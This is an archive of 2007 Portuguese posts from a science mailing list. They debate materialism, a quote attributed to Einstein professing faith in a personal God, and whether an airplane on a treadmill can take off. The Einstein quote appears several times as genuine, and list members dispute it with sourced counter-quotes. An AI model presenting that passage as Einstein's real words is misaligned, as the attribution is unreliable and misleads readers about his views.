possuem massa de repouso - os supostos fotinos, os gravitinos, bósons
de Higgs etc.)

Agora, vamos complicar um pouco a questão: o conceito de "informação"
tornou o debate entre materialistas e idealistas um problema (quase)
irresolúvel. Pois a informação é um "significado" que se transmite e
se traduz por meio de uma infinidade de "significantes" - ou meios -
materiais. Com efeito, a idéia de "casa", por exemplo, pode se
manifestar, materialmente, sob uma forma acústica, pictórica,
gráfica, por meio de pulsos eletroquímicos (em nosso cérebro),
eletrônicos (em nosso PC caseiro) ou positroquímicos - supondo a
existência de galáxias constituídas inteiramente de antimatéria -; e
até na forma de fluxos hidráulicos (um computador cujos bits são
jorros d'água em vez de pulsos elétricos é algo perfeitamente
concebível).

Significa dizer que a informação, se não é imaterial, certamente
consiste em algo amaterial. Não vou penetrar no âmago da questão, até
porque meu parco conhecimento não permite. Só lembro que há muitos
matemáticos - entre os quais Gödel e Penrose - que sustentam a
anterioridade da razão matemática em relação à matéria/energia, tese
esta responsável pela sobvrevida e oxigenação das últimas formas de
idealismo "objetivo".

Abraços,
Manuel Bulcão



SUBJECT: For fans of Really Big Sparks
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: pedraderoseta@yahoogrupos.com.br, ciencialist@yahoogrupos.com.br
DATE: 06/05/2007 20:24


não percam!!!
NÃO PERCAM!!!
N Ã O P E R C A M ! ! !
M. SP 06/maio

>Subject: [free_energy] For fans of Really Big Sparks
>Date: Sun, 6 May 2007 01:29:08 -0500
>
>http://tesladownunder.com
>
>Regards,
>M.R.F.
>Agent 00e
>"Either learn the truth or die" -- Aut
>
>
>To drop of the list, send email to:
>free_energy-unsubscribe@yahoogroups.com
>Yahoo! Groups Links
>




SUBJECT: A idéia que Einstein fazia de Deus
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 06/05/2007 20:45

A idéia que Einstein fazia de Deus
<http://www.ansiao.net/einstein.jpg>

*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Não há oposição entre a ciência e a religião.
Apenas há cientistas atrasados, que professam ideias que datam de 1880.

Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
mecanicista e casualista como irremediavelmente antiquadas.

No interior do átomo não reinam a harmonia e a regularidade que esses
cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
formuladas na base de estatísticas reformáveis. Ora, essa indeterminação, no
plano da matéria, abre lugar à intervenção de uma Causa, que produza o
equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
matéria.

Há, porém, várias maneiras de se representar Deus. Alguns o representam como
o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos. Outros
o representam como o Deus jurídico, legislador e agente policial da
moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
Deus interior, que dirige por dentro todas as coisas e que se revela aos
homens no mais íntimo da consciêncía.
-
A mais bela e profunda emoção que se pode experimentar é a sensação do
místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
estranha tal sensação, aquele que não mais possa sonhar e ser empolgado pelo
encantamento, não passa, em verdade, de um morto.

Saber que realmente existe aquilo que é impenetrável a nós, e que se
manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
as nossas faculdades embotadas só podem entender em suas formas mais
primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
verdadeira religiosidade.

A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
pesquisa científica. Minha religião consiste em humilde admiração do
espírito superior e ilimitado que se revela nos menores detalhes que podemos
perceber em nossos espíritos frágeis e incertos. Essa convicção,
profundamente emocional na presença de um poder racionalmente superior, que
se revela* no* incompreensível, é a ideia que faço de Deus».*


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: A idéia que Einstein fazia de Deus
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/05/2007 21:23

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> A idéia que Einstein fazia de Deus
> <http://www.ansiao.net/einstein.jpg>
>
> *«A opinião comum de que devo ser ateu repousa sobre grave erro.
> Quem a pretende deduzir de minhas teorias científicas não as
> entendeu. Creio num Deus pessoal e posso dizer-lhes que, nunca, em
> minha vida, cedi a uma ideologia ateia.

Alguma coisa está errada. Verdade q Einstein não era ateu, mas tto qto
se sabe ele não acreditava em um deus pessoal. Einstein era agnóstico:

"My position concerning God is that of an agnostic. I am convinced
that a vivid consciousness of the primary importance of moral
principles for the betterment and ennoblement of life does not need
the idea of a law-giver, especially a law-giver who works on the basis
of reward and punishment."
-- Albert Einstein, to M. Berkowitz, October 25, 1950
(source: The Expanded Quotable Einstein A. Calaprice, ed., Princeton,
2000)
http://www.iusb.edu/~iusbphys/AE_quotes_past.shtml

"The idea of a personal God is quite alien to me and seems even naïve."
Albert Einstein in a letter to Beatrice Frohlich, December 17, 1952;
Einstein Archive 59-797; from Alice Calaprice, ed., The Expanded
Quotable Einstein, Princeton, New Jersey: Princeton University Press,
2000, p. 217.
http://www.stephenjaygould.org/ctrl/quotes_einstein.html

"It seems to me that the idea of a personal God is an anthropological
concept which I cannot take seriously. I feel also not able to imagine
some will or goal outside the human sphere. My views are near those of
Spinoza: admiration for the beauty of and belief in the logical
simplicity of the order which we can grasp humbly and only
imperfectly. I believe that we have to content ourselves with our
imperfect knowledge and understanding and treat values and moral
obligations as a purely human problem—the most important of all human
problems."
Albert Einstein, 1947; from Banesh Hoffmann, Albert Einstein Creator
and Rebel, New York: New American Library, 1972, p. 95.
http://www.stephenjaygould.org/ctrl/quotes_einstein.html

"I cannot conceive of a personal God who would directly influence the
actions of individuals, or would directly sit in judgment on creatures
of his own creation. I cannot do this in spite of the fact that
mechanistic causality has, to a certain extent, been placed in doubt
by modern science. [He was speaking of Quantum Mechanics and the
breaking down of determinism.] My religiosity consists in a humble
admiration of the infinitely superior spirit that reveals itself in
the little that we, with our weak and transitory understanding, can
comprehend of reality. Morality is of the highest importance — but for
us, not for God."
Albert Einstein; from Albert Einstein the Human Side, Helen Dukas and
Banesh Hoffman, eds., Princeton, New Jersey: Princeton University
Press, 1981, p. 66.
http://www.stephenjaygould.org/ctrl/quotes_einstein.html

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/05/2007 21:53

Olá,

Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Victor: ...Também niguém é perfeito.

Sds,

Victor.


----- Original Message -----
From: Esteban Moreno
To: undisclosed-recipients:
Sent: Sunday, May 06, 2007 8:45 PM
Subject: [ciencialist] A idéia que Einstein fazia de Deus


A idéia que Einstein fazia de Deus
<http://www.ansiao.net/einstein.jpg>

*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Não há oposição entre a ciência e a religião.
Apenas há cientistas atrasados, que professam ideias que datam de 1880.

Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
mecanicista e casualista como irremediavelmente antiquadas.

No interior do átomo não reinam a harmonia e a regularidade que esses
cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
formuladas na base de estatísticas reformáveis. Ora, essa indeterminação, no
plano da matéria, abre lugar à intervenção de uma Causa, que produza o
equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
matéria.

Há, porém, várias maneiras de se representar Deus. Alguns o representam como
o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos. Outros
o representam como o Deus jurídico, legislador e agente policial da
moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
Deus interior, que dirige por dentro todas as coisas e que se revela aos
homens no mais íntimo da consciêncía.
-
A mais bela e profunda emoção que se pode experimentar é a sensação do
místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
estranha tal sensação, aquele que não mais possa sonhar e ser empolgado pelo
encantamento, não passa, em verdade, de um morto.

Saber que realmente existe aquilo que é impenetrável a nós, e que se
manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
as nossas faculdades embotadas só podem entender em suas formas mais
primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
verdadeira religiosidade.

A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
pesquisa científica. Minha religião consiste em humilde admiração do
espírito superior e ilimitado que se revela nos menores detalhes que podemos
perceber em nossos espíritos frágeis e incertos. Essa convicção,
profundamente emocional na presença de um poder racionalmente superior, que
se revela* no* incompreensível, é a ideia que faço de Deus».*

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/05/2007 22:55

Caro, professor José Carlos!
Suas inúmeras digressões e a repetitiva pergunta de qual é o referencial que
estou usando, já respondida diversas vezes, dá impressão de que vc está
querendo tirar o foco do problema e tentar disfarçar suas dificuldades de
pensar movimentos. Veja se memoriza a resposta: no problema da esteira e o
avião *o referencial é a esteira*. Está claro? Faço outros comentários após
seu texto abaixo, após JR - .
................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, May 05, 2007 3:19 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


José Renato,

Primeiro permita-me uma gargalhada: ha ha ha. Pronto!
Você nem imagina como suas mensagens têm me proporcionado momentos de
alegria e descontração.
JR - É uma boa gargalhar. Vc já descobriu por que ri do que escrevo?

Bom, agora vamos ao que interessa: eu não tenho nada para responder
nessa mensagem que você me enviou, pois continuo aguardando que você
me diga qual é o referencial que vai escolher para estudar o problema
e nessa mensagem parece que você se esqueceu que tinha que me dar essa
resposta. Eu já lhe provei que o referencial só pode ser o chão, pois
em qualquer outro caso o enunciado estará errado, e você já garantiu
que o enunciado está certo e que é sobre esse enunciado que
estudaremos o problema.
JR - Vc está muito esquecido! O referencial que uso é o chão-esteira onde o
avião está pousado. Não deixa de ser o "chão", só que está em movimento.
É isso que torna o problema diferente de uma decolagem normal em uma
pista, onde o chão está "parado'.

No entanto, me parece que mesmo só podendo escolher o chão como
referencial, você insiste em não afirmar isso e está apenas
prolongando mensagens; talvez esteja esperando que eu me canse, mas eu
não me canso nem com adolescentes, porque me cansaria com você? ;)
JR - Sua avaliação é falha: os adolescentes, em geral, não suportam discutir
mais de 10 minutos sobre um assunto... É o tempo usado pela TV entre os
comerciais. Os menos adolescentes como nós outros, que ainda não temos nem
cem anos, não estão condicionados a isso. Esses sim são mais resistentes ao
cansaço intelectual e não desistem fácil.
Vc deve ter visto algum episódio da antiga série de TV O Túnel do Tempo.
Uma coisa que eles faziam questão de chamar atenção era para a precisão dos
cálculos para realização dos "transportes" dos personagens, feitos de uma
época para outra. Sabe por que? Claro que sim. É por isso mesmo... A posição
em que a Terra estava há um tempo atrás ou no futuro - minuto, dia, ano ou
mais - não é mais a mesma em que ela está agora. A Terra, o sistema solar, a
Via Láctea e o Universo todo está em movimento no espaço. Se os cálculos não
considerarem todos esses movimentos os personagens poderiam não "cair"
comodamente sobre o solo da Terra, mas sim no vácuo do espaço planetário,
muito acima do solo, dentro da Terra, no Sol... Lembra disso?

Então, de uma vez por todas: qual é o seu referencial? O chão ou o chão? :)
JR - Entre todas essa opções que vc concede, devo reafirmar *mais uma vez*
que é o chão-esteira. Mas sua fixação pelo chão é significativa e
reveladora... O chão não é o único referencial. Vamos às digressões. Conhece
o problema da mosca que transita entre dois trens que se deslocam em
velocidades diferentes, um em direção ao outro, em linha reta, e se pergunta
após quanto tempo os trens se encontram e esmagam a mosca? Qual é o
referencial?
Vc já viu o espetáculo circense chamado de Globo da Morte, onde
motociclistas se movimentam simultaneamente dentro de uma estrutura
esférica? Pense uma estrutura dessas girando em seu eixo fixo ao chão, e um
motociclista se deslocando na linha do "equador" na mesma velocidade
angular, mas em sentido contrário. Ele consegue fazer isso? Qual é o
referencial?


Abraços,
JC

[]s
José Renato
.....................................................

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos!
> Vc estava indo bem, de repente bloqueou de novo!
> Areje seus neurônios e deixe de lado essa sua certeza de que eu não
tive um
> bom curso de física. Ela só atrapalha seu raciocínio... Afinal, por
que vc
> iria perder tempo com alguém que não sabe considerar referenciais,
não é? Em
> cima dessa constatação qualquer coisa que eu lhe disser vc não vai
> considerar como algo válido e verdadeiro. É a sua chance de renovar as
> idéias, falta pouco!
> Faço comentários no corpo do e-mail, após JR -.
> ...............................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, May 01, 2007 2:57 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Olá José Renato, seguem comentários.
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Olá, José Carlos! Enfocando a questão dos referenciais...
> >
> > A resposta sobre referenciais está no texto anterior, veja:
> > [ A esteira se move para um lado e o avião para o outro, tanto em
> > relação ao chão quanto *entre eles* mesmos. ]
> >
> > Utilizando como referencial *um ponto sobre a esteira*, esse ponto
> > pode se mover sim, tanto em relação ao chão, ao avião e em relação
> > a ela mesma, à sua estrutura.
>
>
> É, parece que você está com problemas para definir seu referencial.
> Agora parece que você também tem problemas para definir a sua
esteira. :)
>
> Se você chama de esteira a uma superfície sobre a qual está o avião,
> então a "estrutura" da sua esteira seria na verdade o mecanismo que a
> move e não a própria esteira. Se esse mecanismo é fixo no solo então o
> referencial "na estrutura da esteira" é, na verdade, o referencial do
> chão.
> De qualquer forma parece que você vai ter que assumir que o
> referencial sempre foi o chão, não é mesmo? ;)
> JR - Não é não, JC! Podemos considerar a esteira solta no espaço e
teremos a
> relação entre os movimentos - de rolagem da esteira e o do avião -
do mesmo
> jeito. Veja que a terra-chão estão em movimentos no espaço, mas por
que vc
> acha que não o consideramos? O ar também...
>
>
> Acho que você não tem mais "saídas" José Renato, seu referencial é o
> mesmo que todos disseram que era: o chão! :)))
> JR - O chão também é um referencial para a análise da relação entre
o avião
> e o ar.
>
> Já provamos que nesse referencial (chão) o avião se move no caso
> descrito no problema e você nãoe stá conseguindo (e nem vai conseguir)
> escolher outro referencial válido para o enunciado do problema...
> Então talvez seja hora de admitir que teve uma idéia brilhante, mas
> que ela não funciona.
> JR - Vc é quem sabe, JC! Se preferir achar que é isso, em vez de
pensar um
> pouco mais e ultrapassar as sutis dificuldades mentais que ainda
persistem,
> paramos por aqui.
>
>
> > Veja explicação importante, que consta no e-mail anterior:
> > [ O referencial *principal* é a interação entre os movimentos da
> > esteira e do avião.
>
>
> José Renato, "interação entre movimentos" não é referencial e só pode
> ser analisada "escolhendo-se antes um referencial". Seu curso de
> física básica foi bem ruinzinho mesmo, ou você matou muitas aulas para
> paquerar as menininhas. ;)
> JR - Se vc tivesse feito a prática que indiquei, usando um carrinho de
> supermercado e uma esteira rolante, vc iria ver a interação de
movimentos
> ocorrerem bem na sua frente. Veria vc-turbina empurrando o carrinho
para um
> lado sobre o piso da esteira *na mesma velocidade da esteira* e
veria o
> piso da esteira se deslocando para o lado contrário. Veria também
que assim
> vc estaria praticamente parado em relação ao chão-terra-ar.
>
>
> > O chão é um referencial secundário, que só será utilizado para
> > analisar o deslocamento do avião - que corre sobre a esteira na mesma
> > velocidade em sentido contrário - em relação ao chão e ao ar, para
> > concluir que não há condições de sustentação para alçar vôo. ]
>
>
> Não existem referenciais "primários" e "secundários". Existem apenas
> referenciais. Podem ser inerciais ou não-inerciais, mas não podem ser
> classificados em primários ou secundários porque não se pode saltar de
> um referencial a outro sem reconsiderar todos os movimentos
> envolvidos. Esse processo de "saltar de um referencial a outro"
> chama-se "mudança de referencial" e envolve geralmente mudança no
> sistema de coordenadas (cartesianas, cilíndricas, polares, esféricas,
> etc.).
> JR - Não estou saltando de um referencial para outro, JC. Estou apenas
> usando os referenciais existentes que atendem as premissas do
problema...
>
> Você entrou numa enrascada. Você é um aluno teimoso, mas eu sou acho
> que sou um professor bem mais teimoso do que você. :)))
> JR - Esqueça isso, professor! Não estamos medindo índice de
teimosia. Volte
> a ver a questão com empenho e interesse. É fundamental. Não se preocupe
> comigo, olhe só o problema, OK?
>
> Abraços,
> JC
>
> Abraços
> José Renato
>
> .......................................................
> >
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, April 30, 2007 12:04 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> >
> > Olá José Renato,
> >
> > Apaguei partes muito antigas ou que não precisam ser comentadas, ok?
> > Os comentários seguem logo abaixo dos seus.
>
> ( apaguei o restante )



SUBJECT: Re: A idéia que Einstein fazia de Deus
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/05/2007 23:01

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
<estebanlmoreno@...> escreveu

A idéia que Einstein fazia de Deus
http://www.ansiao.net/einstein.jpg>

*A opinião comum de que devo ser ateu repousa sobre grave erro. Quem
a pretende deduzir de minhas teorias científicas não as entendeu.
Creio num Deus pessoal e posso dizer-lhes que, nunca, em minha vida,
cedi a uma ideologia ateia.

Não há oposição entre a ciência e a religião. Apenas há cientistas
atrasados, que professam ideias que datam de 1880.

Blá, blá, blá etc.*

Manuel: Einstein conhecia tudo de física, bastante de matemática e o
suficiente em filosofia para não perpetrar as barbaridades
cometidas, décadas depois, por Dawkins. Por isso, em conversas
amenas, declarava-se agnóstico. Porém, tão-logo se metia em saia
justa, ato contínuo lançava mão de Spinoza e se classificava como
panteíta. "Mutatis mutandis", é claro.

Sim, concordo que não há oposição "intrínseca" entre ciência e
religião. Mas, se existe, de fato, oposição "extrínseca" entre uma e
outra, isso se deve menos a cientistas "atrasados" do que a
religiosos que buscam amarrar a ciência aos dogmas das sagradas
escrituras.

As idéias dos cientistas ateus e/ou ateístas não são atrasadas: são
contemporâneas.

Abraços,
Manuel Bulcão



SUBJECT: Re: A idéia que Einstein fazia de Deus
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/05/2007 23:36

Ademais, essa tradução do texto de Einstein me parece bastante
tendenciosa: no lugar da palavra "mistério", tasca o termo "místico".

Mas vou analisar isso com cuidado adispôs. Agora, estou com sono.

[]s
Manuel Bulcão



SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 00:51

PQP..:-)

Me desculpem a expressão, mas é a única que pode exprimir corretamente
meu espanto..:-)

Quanto penso que alguém vai conseguir finalmente explicar o erro a
você, Renato, tenho de ler, de novo, outro exemplo sem sentido, onde
seu engano é novamente repetido:

Renato: "Vc já viu o espetáculo circense chamado de Globo da Morte,
onde motociclistas se movimentam simultaneamente dentro de uma
estrutura esférica? Pense uma estrutura dessas girando em seu eixo
fixo ao chão, e um motociclista se deslocando na linha do "equador" na
mesma velocidade angular, mas em sentido contrário. Ele consegue fazer
isso? Qual é o referencial?"

Quosque tandem abutere patienta nostra, Renato?..:-) Seu exemplo é um
"exemplo" CLARO de seu erro, pois se baseia no "senso comum" a
respeito de movimento! SE são motos movidas pela tração nas rodas, é
uma coisa, se são motos MOVIDAS POR HÉLICES OU JATOS, é outra!!!

Colocando de forma mais clara, motos que se movem por jatos de ar
PODEM FAZER ISSO sem problemas, da mesma forma como um avião pode
decolar da esteira! Mesmo com a estrutura girando em seu eixo fixo, as
motos SE MOVEM E GIRAM SEM CAIR, já que as rodas não são responsáveis
pela tração, mas apenas isolam as mesmas da estrutura!! Como no avião
e esteira, motos com jatos apenas farão as rodas girarem mais rápido,
se a estrutura girar ao contrário de seu deslocamento, que se esta
estivesse parada!

Se pelo menos parasse de teimar e pensasse um pouco no problema, sem
deixar seu "ego" gigantesco engana-lo, dizendo que você tem uma
resposta que NINGUÉM mais descobriu..:-)

Pense, Renato, pense: se conseguir imaginar as motos ligando seus
"jatos", o que acontece com a estrutura depois disso é IRRELEVANTE!

Que canseira..:-) E, mais uma vez peço desculpas, mas, PQP!!!..:-)

Homero





SUBJECT: Re: E=m.c2
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 01:16

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Takata!
>
> Takata >>> Vc pode conduzir energia elétrica na
> *ausência* de elétrons - em um aglomerado de prótons,
> por exemplo.
>
> --- Estranho! Eletricidade não é fluxo eletronico?
> Como pode um fluxo de protons ser um fluxo eletronico?

Você nunca ouviu falar de semicondutores e "corrente de buracos" pelo
jeito. :)))

Abraços,
JC




SUBJECT: Re: A idéia que Einstein fazia de Deus
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 01:18

Eu vendo duendes. Algum interessado?

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
<estebanlmoreno@...> escreveu
>
> A idéia que Einstein fazia de Deus
> <http://www.ansiao.net/einstein.jpg>
>
> *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
> pretende deduzir de minhas teorias científicas não as entendeu.
Creio num
> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
> ideologia ateia.
>
> Não há oposição entre a ciência e a religião.
> Apenas há cientistas atrasados, que professam ideias que datam de 1880.
>
> Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
> mecanicista e casualista como irremediavelmente antiquadas.
>
> No interior do átomo não reinam a harmonia e a regularidade que esses
> cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
> formuladas na base de estatísticas reformáveis. Ora, essa
indeterminação, no
> plano da matéria, abre lugar à intervenção de uma Causa, que produza o
> equilíbrio e a harmonia dessas reações dissemelhantes e
contraditórias da
> matéria.
>
> Há, porém, várias maneiras de se representar Deus. Alguns o
representam como
> o Deus mecânico, que intervém no mundo para modificar as leis da
natureza e
> o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
> fórmulas mágicas. É o Deus de certos primitivos, antigos ou
modernos. Outros
> o representam como o Deus jurídico, legislador e agente policial da
> moralidade, que impõe o medo e estabelece distâncias. Outros, enfim,
como o
> Deus interior, que dirige por dentro todas as coisas e que se revela aos
> homens no mais íntimo da consciêncía.
> -
> A mais bela e profunda emoção que se pode experimentar é a sensação do
> místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
> estranha tal sensação, aquele que não mais possa sonhar e ser
empolgado pelo
> encantamento, não passa, em verdade, de um morto.
>
> Saber que realmente existe aquilo que é impenetrável a nós, e que se
> manifesta como a mais alta das sabedorias; a mais radiosa das
belezas, que
> as nossas faculdades embotadas só podem entender em suas formas mais
> primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
> verdadeira religiosidade.
>
> A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
> pesquisa científica. Minha religião consiste em humilde admiração do
> espírito superior e ilimitado que se revela nos menores detalhes que
podemos
> perceber em nossos espíritos frágeis e incertos. Essa convicção,
> profundamente emocional na presença de um poder racionalmente
superior, que
> se revela* no* incompreensível, é a ideia que faço de Deus».*
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 01:31

Grande José Renato!

Que bom reencontrar suas mensagens sobre o avião que não voa. Vamos
lá, primeiro resumindo o que você diz (e está mantido abaixo, na sua
mensagem original, caso duvide de si mesmo, he he).

A minha pergunta era: qual é o referencial que você está usando, meu
caro José Renato?

Eis suas respostas:

"> JR - Veja se memoriza a resposta: no problema da esteira e o avião
*o referencial é a esteira*. Está claro?"

"> JR - Vc está muito esquecido! O referencial que uso é o
chão-esteira onde o avião está pousado. Não deixa de ser o "chão", só
que está em movimento."

"> JR - Entre todas essa opções que vc concede, devo reafirmar *mais
uma vez* que é o chão-esteira."

Pelo que entendi você parece não saber muito bem qual é o seu
referencial, é isso? :)))

Primeiro você diz que é a esteira e ainda me pergunta se está claro,
depois você diz que é o chão-esteira (o que será isso???) e enfatiza
que "não deixa de ser o chão", só que este está em movimento (???) e,
por último, conclui dizendo que é o chão-esteira! :)))

Francamente, José Renato, como é possível algo "estar claro" diante da
sua confusão mental? :)

Vamos, reconheça, nem você sabe do que você estava falando quando
começou essa confusão. :)))

E aí, vai se decidir se é o chão, o chão móvel (??? essa doeu!), a
esteira ou o chão-esteira? Aliás, que referencial é esse
"chão-esteira"? :)))

Cara, você é mesmo uma piada!!!

To adorando!

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, professor José Carlos!
> Suas inúmeras digressões e a repetitiva pergunta de qual é o
referencial que
> estou usando, já respondida diversas vezes, dá impressão de que vc está
> querendo tirar o foco do problema e tentar disfarçar suas
dificuldades de
> pensar movimentos. Veja se memoriza a resposta: no problema da
esteira e o
> avião *o referencial é a esteira*. Está claro? Faço outros
comentários após
> seu texto abaixo, após JR - .
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Saturday, May 05, 2007 3:19 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> José Renato,
>
> Primeiro permita-me uma gargalhada: ha ha ha. Pronto!
> Você nem imagina como suas mensagens têm me proporcionado momentos de
> alegria e descontração.
> JR - É uma boa gargalhar. Vc já descobriu por que ri do que escrevo?
>
> Bom, agora vamos ao que interessa: eu não tenho nada para responder
> nessa mensagem que você me enviou, pois continuo aguardando que você
> me diga qual é o referencial que vai escolher para estudar o problema
> e nessa mensagem parece que você se esqueceu que tinha que me dar essa
> resposta. Eu já lhe provei que o referencial só pode ser o chão, pois
> em qualquer outro caso o enunciado estará errado, e você já garantiu
> que o enunciado está certo e que é sobre esse enunciado que
> estudaremos o problema.
> JR - Vc está muito esquecido! O referencial que uso é o chão-esteira
onde o
> avião está pousado. Não deixa de ser o "chão", só que está em movimento.
> É isso que torna o problema diferente de uma decolagem normal em uma
> pista, onde o chão está "parado'.
>
> No entanto, me parece que mesmo só podendo escolher o chão como
> referencial, você insiste em não afirmar isso e está apenas
> prolongando mensagens; talvez esteja esperando que eu me canse, mas eu
> não me canso nem com adolescentes, porque me cansaria com você? ;)
> JR - Sua avaliação é falha: os adolescentes, em geral, não suportam
discutir
> mais de 10 minutos sobre um assunto... É o tempo usado pela TV entre os
> comerciais. Os menos adolescentes como nós outros, que ainda não
temos nem
> cem anos, não estão condicionados a isso. Esses sim são mais
resistentes ao
> cansaço intelectual e não desistem fácil.
> Vc deve ter visto algum episódio da antiga série de TV O Túnel do
Tempo.
> Uma coisa que eles faziam questão de chamar atenção era para a
precisão dos
> cálculos para realização dos "transportes" dos personagens, feitos
de uma
> época para outra. Sabe por que? Claro que sim. É por isso mesmo... A
posição
> em que a Terra estava há um tempo atrás ou no futuro - minuto, dia,
ano ou
> mais - não é mais a mesma em que ela está agora. A Terra, o sistema
solar, a
> Via Láctea e o Universo todo está em movimento no espaço. Se os
cálculos não
> considerarem todos esses movimentos os personagens poderiam não "cair"
> comodamente sobre o solo da Terra, mas sim no vácuo do espaço
planetário,
> muito acima do solo, dentro da Terra, no Sol... Lembra disso?
>
> Então, de uma vez por todas: qual é o seu referencial? O chão ou o
chão? :)
> JR - Entre todas essa opções que vc concede, devo reafirmar *mais
uma vez*
> que é o chão-esteira. Mas sua fixação pelo chão é significativa e
> reveladora... O chão não é o único referencial. Vamos às digressões.
Conhece
> o problema da mosca que transita entre dois trens que se deslocam em
> velocidades diferentes, um em direção ao outro, em linha reta, e se
pergunta
> após quanto tempo os trens se encontram e esmagam a mosca? Qual é o
> referencial?
> Vc já viu o espetáculo circense chamado de Globo da Morte, onde
> motociclistas se movimentam simultaneamente dentro de uma estrutura
> esférica? Pense uma estrutura dessas girando em seu eixo fixo ao
chão, e um
> motociclista se deslocando na linha do "equador" na mesma velocidade
> angular, mas em sentido contrário. Ele consegue fazer isso? Qual é o
> referencial?
>
>
> Abraços,
> JC
>
> []s
> José Renato
> .....................................................
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Olá, José Carlos!
> > Vc estava indo bem, de repente bloqueou de novo!
> > Areje seus neurônios e deixe de lado essa sua certeza de que eu não
> tive um
> > bom curso de física. Ela só atrapalha seu raciocínio... Afinal, por
> que vc
> > iria perder tempo com alguém que não sabe considerar referenciais,
> não é? Em
> > cima dessa constatação qualquer coisa que eu lhe disser vc não vai
> > considerar como algo válido e verdadeiro. É a sua chance de renovar as
> > idéias, falta pouco!
> > Faço comentários no corpo do e-mail, após JR -.
> > ...............................................
> >
